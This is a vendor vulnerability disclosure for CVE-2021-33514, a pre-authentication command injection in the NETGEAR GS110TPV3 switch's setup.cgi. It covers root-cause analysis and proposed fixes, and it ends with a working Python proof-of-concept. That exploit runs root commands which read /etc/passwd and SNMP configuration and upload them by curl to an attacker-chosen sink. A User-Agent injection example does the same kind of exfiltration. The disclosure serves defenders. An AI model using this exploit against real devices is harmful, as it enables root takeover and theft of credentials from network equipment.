NETGEAR GS110TPV3未认证命令注入漏洞(CVE-2021-33514)


``` *** Summary: Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch Firmware Version: V7.0.5.2 (from 2021-01-11) NETGEAR GS110TPV3 Smart Managed Pro Switch is vulnerable to a pre-auth shell injection due to incorrect input handling in setup.cgi query parameters. This allows an attacker in the same LAN to run arbitrary commands as root on the switch. Attached PoC will execute the given commands as root and send the result to a provided open TCP port (technically as an HTTP packet). This report also points out two buffer overflows, though they are believed to be not directly exploitable. IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this report will be shared publicly with the defensive community on 17th May 2021. See https://www.google.com/about/appsecurity/ for details. NOTE: At this point in time I haven't checked what other models are affected, but I strongly suspect that at least several other NETGEAR devices use the same code. *** More details: The /sqfs/home/web/cgi/setup.cgi file parses the QUERY_STRING and extracts the "token" parameter. This parameter is passed to sal_sys_ssoReturnToken_chk function for verification. result = sal_sys_ssoReturnToken_chk(token_param, 0); This function is implemented in /sqfs/lib/libsal.so.0.0. The important part of looks like this: sprintf( command, "echo '%s'| base64 -d |openssl rsautl -decrypt ...", token, ... ); popen(command, ...); While the "token" parameter is partially URL-encoded at this point, there is just enough characters to break out of the single quote enclosure to inject another command, e.g.: .../setup.cgi?token=';$HTTP_USER_AGENT;' with the User-Agent set to e.g.: curl -T /etc/snmp/snmpd.conf http://sink.address/ Note that while browsers encode single quotes as %27, the lighttpd variant used on this switch does not. A different way of exploitation, allowing for more complex scripts to be sent to and executed on the switch is shown in the PoC exploit. While there might be ways to exploit this vulnerability in a reflected way from outside of the LAN by making an HTML/JavaScript website which causes an in-LAN browser to send an exploitation payload to e.g. the default, guessed or brute-forced in-LAN switch address, I was not able to make this work in the short time I spent on this due to - as mentioned before - browsers encoding single quotes as %27, rendering the single quote termination impossible. I'm still not ready to rule out the possibility of this being exploitable in a reflective outside of LAN way in combination with some other vulnerability or quirk. *** Proposed fix: Given the observed quality of the code (e.g. note the buffer overflow when forming the command with sprintf, or the fact that instead of using openssl libraries directly, all observed code concatenates commands and executes openssl out of process) it would be advised to do a thorough re-write of most of the firmware in accordance to best security practices - anything less is just a band aid applied to a colander. An immediate fix however is to validate the input format, both in setup.cgi (note the buffer overflow in setup.cgi when copying "token" or "error_code" parameters by the way) and libsal.so, i.e. the "token" is expected to be base64 encoded, therefore it's enough to verify that the input contains only base64 allowed characters. Furthermore, it would be better to pass the data via pipe to base64 -d, instead of concatenating strings. Or at least add a size check to prevent the buffer overflow in printf (libsal.so) and memcpy (setup.cgi) - in this case please note that using snprintf is not enough, as it will just create an attacker controlled string truncation problem, which might lead to other vulnerabilities in the sal_sys_ssoReturnToken_chk function. Please let me know if you have any questions. *** PoC Exploit: #!/usr/bin/python3 import requests import json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import sys import base64 # Address of the switch. SWITCH_ADDR = '' # <------------------------------------ CHANGE THIS # Address of any open TCP port to receive data (e.g. nc -v -l -p 7788). DATA_SINK = '' # <------------------------- CHANGE THIS # Commands to run. # <----------------------------- FEEL FREE TO CUSTOMIZE THIS COMMANDS_TO_RUN = f""" cat /etc/passwd > /var/tmp/x cat /etc/snmp/snmpd.conf >> /var/tmp/x export >> /var/tmp/x curl -T /var/tmp/x {DATA_SINK} """ # Encode it a bit so that all characters work like in a bash script. COMMANDS_TO_RUN += "\nexit\n" COMMANDS_TO_RUN = base64.b64encode(COMMANDS_TO_RUN.encode()).decode() COMMANDS_TO_RUN = 'sh -c echo${IFS}%s|base64${IFS}-d|sh' % COMMANDS_TO_RUN # Send the request. print("Sending request. This script will not exit until sink closes.") r = requests.post( f"https://{SWITCH_ADDR}/cgi/setup.cgi?token=';$(cat);'", verify=False, data=COMMANDS_TO_RUN ) ```